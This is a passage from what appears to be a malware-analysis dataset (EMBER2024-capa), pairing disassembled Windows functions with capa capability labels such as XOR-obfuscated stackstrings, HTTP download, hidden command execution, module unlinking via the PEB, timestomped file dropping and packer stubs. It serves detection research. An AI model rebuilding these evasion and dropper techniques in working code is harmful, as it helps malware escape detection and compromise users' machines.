joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001940
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Encrypt data using rc4 prga
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
mov eax, dword [0x10008004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
jmp 0x10001965
jmp 0x10001977
jmp 0x10001989
jmp 0x1000199b
jmp 0x100019ad
jmp 0x100019bf
jmp 0x100019d1
jmp 0x100019e3
jmp 0x100019f5
jmp 0x10001a07
jmp 0x10001a19
jmp 0x10001a2b
jmp 0x10001a3d
jmp 0x10001a4f
jmp 0x10001a61
jmp 0x10001a73
jmp 0x10001a85
jmp 0x10001a97
jmp 0x10001aa9
jmp 0x10001abb
mov edi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov dword [ebp - 8], 4
push 0x11
call edi
add esp, 4
push 0x288
call edi
add esp, 4
mov esi, eax
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
cmp eax, 0x6f
jne 0x10001af5
push dword [ebp - 8]
call edi
add esp, 4
mov esi, eax
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
jne 0x10001c1e
movaps xmm0, xmmword [0x10006400]
movups xmmword [ebp - 0x68], xmm0
mov dword [ebp - 0x18], 0x2d2f3a32
movaps xmm0, xmmword [0x10006470]
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x14], 0x2f3a3247
movaps xmm0, xmmword [0x100063d0]
movups xmmword [ebp - 0x48], xmm0
mov word [ebp - 0x10], 0x472d
movaps xmm0, xmmword [0x10006390]
movups xmmword [ebp - 0x38], xmm0
mov byte [ebp - 0xe], al
movaps xmm0, xmmword [0x10006520]
movups xmmword [ebp - 0x28], xmm0
mov cl, byte [ebp - 0x68]
xor byte [ebp + eax - 0x67], cl
inc eax
cmp eax, 0x59
jb 0x10001b56
movzx eax, byte [esi + 0x1a5]
push eax
movzx eax, byte [esi + 0x1a4]
push eax
movzx eax, byte [esi + 0x1a3]
push eax
movzx eax, byte [esi + 0x1a2]
push eax
movzx eax, byte [esi + 0x1a1]
push eax
movzx eax, byte [esi + 0x1a0]
push eax
movzx eax, byte [esi + 0x19f]
push eax
movzx eax, byte [esi + 0x19e]
push eax
movzx eax, byte [esi + 0x19d]
push eax
movzx eax, byte [esi + 0x19c]
push eax
movzx eax, byte [esi + 0x19b]
push eax
movzx eax, byte [esi + 0x19a]
push eax
movzx eax, byte [esi + 0x199]
push eax
movzx eax, byte [esi + 0x198]
push eax
movzx eax, byte [esi + 0x197]
push eax
movzx eax, byte [esi + 0x196]
push eax
movzx eax, byte [esi + 0x195]
push eax
movzx eax, byte [esi + 0x194]
push eax
lea eax, [ebp - 0x67]
mov byte [ebp - 0xe], 0
push eax
push 0x10008400
call fcn.100010f0
add esp, 0x50
mov eax, 0x10008400
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10004f58
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
jmp 0x10001c3a
jmp 0x10001c4c
jmp 0x10001c5e
jmp 0x10001c70
jmp 0x10001c82
jmp 0x10001c94
jmp 0x10001ca6
jmp 0x10001cb8
jmp 0x10001cca
jmp 0x10001cdc
jmp 0x10001cee
jmp 0x10001d00
jmp 0x10001d12
jmp 0x10001d24
jmp 0x10001d36
jmp 0x10001d48
jmp 0x10001d5a
jmp 0x10001d6c
jmp 0x10001d7e
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.10004f58
mov esp, ebp
pop ebp
ret
Function at 0x10001d90
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [0x10008004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
jmp 0x10001db5
jmp 0x10001dc7
jmp 0x10001dd9
jmp 0x10001deb
jmp 0x10001dfd
jmp 0x10001e0f
jmp 0x10001e21
jmp 0x10001e33
jmp 0x10001e45
jmp 0x10001e57
jmp 0x10001e69
jmp 0x10001e7b
jmp 0x10001e8d
jmp 0x10001e9f
jmp 0x10001eb1
jmp 0x10001ec3
jmp 0x10001ed5
jmp 0x10001ee7
jmp 0x10001ef9
jmp 0x10001f0b
movaps xmm0, xmmword [0x10006290]
xor eax, eax
movups xmmword [ebp - 0x74], xmm0
mov dword [ebp - 0x24], 0x1f2f2231
movaps xmm0, xmmword [0x100063c0]
movups xmmword [ebp - 0x64], xmm0
mov word [ebp - 0x20], 0x73
movaps xmm0, xmmword [0x10006340]
movups xmmword [ebp - 0x54], xmm0
movaps xmm0, xmmword [0x100063b0]
movups xmmword [ebp - 0x44], xmm0
movaps xmm0, xmmword [0x10006330]
movups xmmword [ebp - 0x34], xmm0
mov cl, byte [ebp - 0x74]
xor byte [ebp + eax - 0x73], cl
inc eax
cmp eax, 0x54
jb 0x10001f51
lea eax, [ebp - 0xc]
mov byte [ebp - 0x1f], 0
push eax
push 0x20019
push 0
lea eax, [ebp - 0x73]
push eax
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10002164
mov byte [ebp - 0x1c], 0x14
mov al, 0x5d
xor al, byte [ebp - 0x1c]
mov cl, 0x70
xor cl, byte [ebp - 0x1c]
mov dl, 0x71
mov byte [ebp - 0x1b], al
mov ah, 0x60
mov byte [ebp - 0xd], dl
mov ch, 0x7d
mov al, byte [ebp - 0xd]
mov bh, ch
mov byte [ebp - 0x1a], cl
mov dh, 0x72
mov cl, byte [ebp - 0x1c]
mov bl, 0x7a
xor al, cl
mov byte [ebp - 0xe], 0x66
mov byte [ebp - 0x13], al
xor ah, cl
mov al, byte [ebp - 0xe]
xor dl, cl
xor al, cl
mov byte [ebp - 0x17], ah
mov byte [ebp - 0x12], al
xor bl, cl
lea eax, [ebp - 8]
mov byte [ebp - 0x11], 0
push eax
push 0x10008440
push 0
push 0
lea eax, [ebp - 0x1b]
mov dword [ebp - 8], 0x32
push eax
push dword [ebp - 0xc]
xor ch, cl
mov byte [ebp - 0x19], dl
xor dh, cl
mov byte [ebp - 0x18], bl
xor bh, cl
mov byte [ebp - 0x16], ch
mov byte [ebp - 0x15], dh
mov byte [ebp - 0x14], bh
mov byte [ebp - 0x11], 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x10002020
jmp 0x10002032
jmp 0x10002044
jmp 0x10002056
jmp 0x10002068
jmp 0x1000207a
jmp 0x1000208c
jmp 0x1000209e
jmp 0x100020b0
jmp 0x100020c2
jmp 0x100020d4
jmp 0x100020e6
jmp 0x100020f8
jmp 0x1000210a
jmp 0x1000211c
jmp 0x1000212e
jmp 0x10002140
jmp 0x10002152
jmp 0x10002164
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10004f58
mov esp, ebp
pop ebp
ret
Function at 0x10002180
Capabilities:
Contain obfuscated stackstrings
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov eax, dword [0x10008004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x14], ecx
jmp 0x100021ae
jmp 0x100021c0
jmp 0x100021d2
jmp 0x100021e4
jmp 0x100021f6
jmp 0x10002208
jmp 0x1000221a
jmp 0x1000222c
jmp 0x1000223e
jmp 0x10002250
jmp 0x10002262
jmp 0x10002274
jmp 0x10002286
jmp 0x10002298
jmp 0x100022aa
jmp 0x100022bc
jmp 0x100022ce
jmp 0x100022e0
jmp 0x100022f2
jmp 0x10002304
movaps xmm0, xmmword [0x10006420]
xor eax, eax
mov edx, dword [ebp - 0xc]
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x10], 0
movaps xmm0, xmmword [0x10006370]
movups xmmword [ebp - 0x70], xmm0
mov byte [edx], 0
movaps xmm0, xmmword [0x10006430]
movups xmmword [ebp - 0x60], xmm0
mov dword [ebp - 0x20], 0x2d6b7063
movaps xmm0, xmmword [0x10006730]
movups xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x1c], 0x2c353137
movaps xmm0, xmmword [0x10006460]
movups xmmword [ebp - 0x40], xmm0
mov word [ebp - 0x18], 0x3431
movaps xmm0, xmmword [0x10006710]
movups xmmword [ebp - 0x30], xmm0
mov byte [ebp - 0x16], 0
nop dword [eax]
mov cl, byte [ebp - 0x80]
xor byte [ebp + eax - 0x7f], cl
inc eax
cmp eax, 0x69
jb 0x10002370
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x7f]
mov byte [ebp - 0x16], 0
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
test esi, esi
je 0x100023e2
push 0
push 0
push 0
push 0
push dword [ebp - 0x14]
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
je 0x100023db
lea eax, [ebp - 8]
push eax
push 0xff
push dword [ebp - 0xc]
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
mov byte [edx + eax], 0
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x100023f4
jmp 0x10002406
jmp 0x10002418
jmp 0x1000242a
jmp 0x1000243c
jmp 0x1000244e
jmp 0x10002460
jmp 0x10002472
jmp 0x10002484
jmp 0x10002496
jmp 0x100024a8
jmp 0x100024ba
jmp 0x100024cc
jmp 0x100024de
jmp 0x100024f0
jmp 0x10002502
jmp 0x10002514
jmp 0x10002526
jmp 0x10002538
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.10004f58
mov esp, ebp
pop ebp
ret
Function at 0x10004aa0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x10004ade
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10004ae2
cmp edx, esi
jne 0x10004ac7
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x10004b02
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10004b06
cmp edx, esi
jne 0x10004aeb
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x10004b26
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10004b2a
cmp edx, esi
jne 0x10004b0f
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10004b40
Capabilities:
Contain obfuscated stackstrings
Create thread
Encode data using xor
Execute command
Hide graphical window
Set console window title

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
cmp dword [ebp + 0xc], 1
jne 0x10004cc1
call dword [sym.imp.KERNEL32.dll_AllocConsole]
movaps xmm0, xmmword [0x100065c0]
xor eax, eax
movups xmmword [ebp - 0x18], xmm0
mov dword [ebp - 8], 0x555547
nop dword [eax]
mov cl, byte [ebp - 0x18]
xor byte [ebp + eax - 0x17], cl
inc eax
cmp eax, 0x12
jb 0x10004b70
push 0
lea eax, [ebp - 0x17]
mov byte [ebp - 5], 0
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
movaps xmm0, xmmword [0x10006570]
xor ecx, ecx
movups xmmword [ebp - 0x94], xmm0
mov dword [ebp - 0x24], 0x686a7d6b
movaps xmm0, xmmword [0x10006640]
movups xmmword [ebp - 0x84], xmm0
mov dword [ebp - 0x20], 0x717e776a
movaps xmm0, xmmword [0x100066b0]
movups xmmword [ebp - 0x74], xmm0
mov word [ebp - 0x1c], 0x7d74
movaps xmm0, xmmword [0x100066a0]
movups xmmword [ebp - 0x64], xmm0
mov byte [ebp - 0x1a], 0
movaps xmm0, xmmword [0x10006580]
movups xmmword [ebp - 0x54], xmm0
movaps xmm0, xmmword [0x10006630]
movups xmmword [ebp - 0x44], xmm0
movaps xmm0, xmmword [0x10006780]
movups xmmword [ebp - 0x34], xmm0
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp - 0x94]
xor byte [ebp + ecx - 0x93], al
inc ecx
cmp ecx, 0x79
jb 0x10004c10
lea eax, [ebp - 0x93]
mov byte [ebp - 0x1a], 0
push ebx
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [ebp - 0x10], 0x44
mov al, 0x1e
xor al, byte [ebp - 0x10]
mov cl, 6
xor cl, byte [ebp - 0x10]
mov ah, 0x30
mov byte [ebp - 0xf], al
add esp, 4
mov byte [ebp - 0xe], cl
mov dl, 5
mov cl, byte [ebp - 0x10]
mov ch, 0x2d
mov byte [ebp + 0xf], 0x20
xor ah, cl
mov al, byte [ebp + 0xf]
mov dh, 7
xor al, cl
mov byte [ebp - 1], 0x21
mov byte [ebp - 7], al
mov bl, 0x2a
mov al, byte [ebp - 1]
mov bh, 0x2b
xor al, cl
mov byte [ebp - 0xb], ah
mov byte [ebp - 6], al
xor dl, cl
lea eax, [ebp - 0xf]
mov byte [ebp - 5], 0
xor bl, cl
mov byte [ebp - 0xd], dl
xor ch, cl
mov byte [ebp - 0xc], bl
xor dh, cl
mov byte [ebp - 0xa], ch
xor bh, cl
mov byte [ebp - 9], dh
push eax
mov byte [ebp - 8], bh
mov byte [ebp - 5], 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov ecx, dword [ebp + 8]
call fcn.10004aa0
push 0
push 0
push 0
push 0x10003fc0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebx
mov eax, 1
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4002c0
Capabilities:
Set registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
lea eax, [esp + 8]
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40031c
mov edx, dword [esp + 0x10]
push edi
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
mov ecx, dword [esp + 0x10]
push edx
push 2
push eax
mov eax, dword [esp + 0x20]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
pop edi
jne 0x40031c
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
ret

Function at 0x400320
Capabilities:
Set registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
lea eax, [esp + 8]
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x400372
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
lea eax, [esp + 0x10]
push 4
push eax
push 4
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x400372
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
ret
Function at 0x400470
Capabilities:
Contain obfuscated stackstrings
Print debug messages

Disassembly:
sub esp, 0x40
push ebx
mov bl, 0x66
mov al, 0x73
mov byte [esp + 0x2a], bl
mov cl, 0x65
mov byte [esp + 0x36], bl
mov byte [esp + 0x3b], bl
mov byte [esp + 0x28], al
mov byte [esp + 0x34], al
mov byte [esp + 0x39], al
xor ebx, ebx
mov byte [esp + 0x18], al
mov byte [esp + 0x19], al
mov byte [esp + 0x24], al
mov byte [esp + 0x25], al
mov byte [esp + 0xb], al
mov byte [esp + 0xc], al
mov dl, 0x61
mov byte [esp + 0x2f], cl
mov byte [esp + 0x37], cl
mov byte [esp + 0x3c], cl
mov byte [esp + 0x12], cl
mov byte [esp + 0x17], cl
mov byte [esp + 0x1f], cl
mov byte [esp + 0x23], cl
mov byte [esp + 0xa], cl
lea eax, [esp + 0x10]
push ebx
lea ecx, [esp + 0x2c]
mov byte [esp + 0x31], dl
mov byte [esp + 0x39], dl
mov byte [esp + 0x3e], dl
push eax
mov dl, 0x63
push ecx
push 0x80000002
mov byte [esp + 0x39], 0x6f
mov byte [esp + 0x3b], 0x74
mov byte [esp + 0x3c], 0x77
mov byte [esp + 0x3e], 0x72
mov byte [esp + 0x40], 0x5c
mov byte [esp + 0x41], 0x33
mov byte [esp + 0x42], 0x36
mov byte [esp + 0x43], 0x30
mov byte [esp + 0x48], 0x5c
mov byte [esp + 0x4d], 0x6d
mov byte [esp + 0x4e], 0x6f
mov byte [esp + 0x4f], 0x6e
mov byte [esp + 0x50], bl
mov byte [esp + 0x20], 0x45
mov byte [esp + 0x21], 0x78
mov byte [esp + 0x23], dl
mov byte [esp + 0x24], 0x41
mov byte [esp + 0x25], dl
mov byte [esp + 0x26], dl
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2c], 0x53
mov byte [esp + 0x2d], 0x69
mov byte [esp + 0x2e], 0x74
mov byte [esp + 0x30], 0x41
mov byte [esp + 0x31], dl
mov byte [esp + 0x32], dl
mov byte [esp + 0x36], bl
mov byte [esp + 0x14], 0x4d
mov byte [esp + 0x15], 0x6f
mov byte [esp + 0x16], 0x6e
mov byte [esp + 0x17], 0x41
mov byte [esp + 0x18], dl
mov byte [esp + 0x19], dl
mov byte [esp + 0x1d], bl
call fcn.00400320
lea edx, [esp + 0x2c]
push ebx
lea eax, [esp + 0x3c]
push edx
push eax
push 0x80000002
call fcn.00400320
lea ecx, [esp + 0x24]
push ebx
push ecx
lea edx, [esp + 0x50]
push edx
push 0x80000002
call fcn.00400320
add esp, 0x30
push str.marn_ersazx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
pop ebx
add esp, 0x40
ret
Function at 0x4006f0
Capabilities:
Delete file
Get common file path
Move file
Set file attributes
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
push ebx
push esi
lea eax, [ebp - 0x138]
push edi
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov cl, 0x61
mov dl, 0x6d
mov byte [ebp - 0x13], cl
mov byte [ebp - 0xd], cl
mov byte [ebp - 0x14], dl
mov byte [ebp - 0xa], dl
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x138]
mov al, 0x74
push ecx
push edx
mov byte [ebp - 0x12], 0x78
mov byte [ebp - 0x11], 0x63
mov byte [ebp - 0x10], 0x6e
mov byte [ebp - 0xf], al
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xc], 0x2e
mov byte [ebp - 0xb], al
mov byte [ebp - 9], 0x70
mov byte [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
mov esi, dword [ebp + 8]
and ecx, 0xffff
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
nop
nop
nop
nop
push eax
pop eax
test edi, edi
jne 0x400780
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
push esi
call fcn.004006b0
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x400797
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0x80
push 2
push 0
push 2
lea edx, [ebp - 0x138]
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
nop
nop
nop
push eax
pop eax
test esi, esi
jne 0x4007ca
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x34], eax
lea edx, [ebp - 0x34]
mov dword [ebp - 0x30], eax
push ecx
mov dword [ebp - 0x2c], eax
push edx
mov dword [ebp - 0x28], eax
mov word [ebp - 0x34], 0x7d5
mov word [ebp - 0x32], 9
mov word [ebp - 0x2e], 0x12
mov word [ebp - 0x2c], 0x14
mov word [ebp - 0x2a], ax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x24]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x1c]
push edx
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
lea ecx, [ebp - 4]
push 0
push ecx
push edi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
push ebx
push esi
call fcn.004005f0
push esi
call fcn.00400640
add esp, 0x18
nop
nop
nop
nop
push eax
pop eax
mov esi, dword [ebp + 0x14]
lea edx, [ebp - 0x138]
push esi
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 2
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x138]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219

Function at 0x41ad50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x411015
lea edi, [esi - 0x10015]
push edi
or ebp, 0xffffffff
jmp 0x41ad72
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41ad79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41ad68
mov eax, 1
add ebx, ebx
jne 0x41ad8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41ad80
jne 0x41ad9c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41ad80
xor ecx, ecx
sub eax, 3
jb 0x41adb0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41ae22
mov ebp, eax
add ebx, ebx
jne 0x41adbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41adc8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41adec
inc ecx
add ebx, ebx
jne 0x41add8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41adcd
jne 0x41ade9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41adcd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41ae0c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41adfd
jmp 0x41ad6e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41ae0c
add edi, ecx
jmp 0x41ad6e
pop esi
mov edi, esi
mov ecx, 0x2b3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41ae2a
cmp byte [edi], 5
jne 0x41ae2a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41ae2f
lea edi, [esi + 0x18000]
mov eax, dword [edi]
or eax, eax
je 0x41aea7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1a000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1a094]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41ae5c
mov ecx, edi
jns 0x41ae8b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1a09c]
or eax, eax
je 0x41aea1
mov dword [ebx], eax
add ebx, 4
jmp 0x41ae79
call dword [esi + 0x1a098]
mov ebp, dword [esi + 0x1a0a0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x41aedb
sub esp, 0xffffff80
jmp 0x404c20
Function at 0x401450
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push dword [esp + 0xc]
push dword [esp + 0xc]
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x40147a
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x14]
test eax, eax
mov dword [ecx], eax
jne 0x40147e
xor eax, eax
pop esi
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x10]
push 1
mov dword [ecx], eax
pop eax
pop esi
ret

Function at 0x401499
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
push edi
xor edi, edi
push edi
push 1
push edi
lea eax, [ebp - 4]
push edi
push eax
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
call esi
test eax, eax
jne 0x4014da
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x4014ed
push 8
push 1
push edi
lea eax, [ebp - 4]
push edi
push eax
call esi
test eax, eax
je 0x4014ed
lea eax, [ebp - 8]
push eax
push 4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x4014f1
xor eax, eax
jmp 0x401503
cmp dword [ebp - 4], edi
je 0x401500
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [ebp - 8]
pop edi
pop esi
leave
ret

Function at 0x401ce6
Capabilities:
Encode data using xor

Disassembly:
wait
les ebp, [edi - 0x383ef9d0]
cmp al, 0xa0
scasd eax, dword es:[edi]
mov cl, 0x93
cmpsb byte [esi], byte es:[edi]
scasd eax, dword es:[edi]
xor byte [esi], al
rol edi, 0x3c
mov al, byte [0xa693b1af]
mov esi, 0xa9111d93
lahf
sahf
or dl, bh
mov esp, edx
aad 0x5a
push 0x1ebd79ad
xchg byte [edx - 0x212a4bf6], ah
popal
add eax, 0x61a7789b
mov dh, 0xf8
push edx
adc eax, 0xc4767141
jbe 0x401ce8
pop esp
dec ebp
and dword [ecx + 0x3b8a286f], esp
mov dl, byte [edi + 0x79]
inc edx
sub ah, byte [edx + 0x10]
sub eax, 0xb57e0cd2
scasd eax, dword es:[edi]
popfd
cmpsb byte [esi], byte es:[edi]
jnp fcn.00401cca
jns 0x401ce8
mov esi, 0x879a39d6
pop edi
in eax, dx
cmpsd dword [esi], dword es:[edi]
sti
sbb byte [edx], dh
lcall 0x3184, 0xacd0f57a
cmpsb byte [esi], byte es:[edi]
int1
shr byte [ecx - 0x56e54fc0], cl
iretd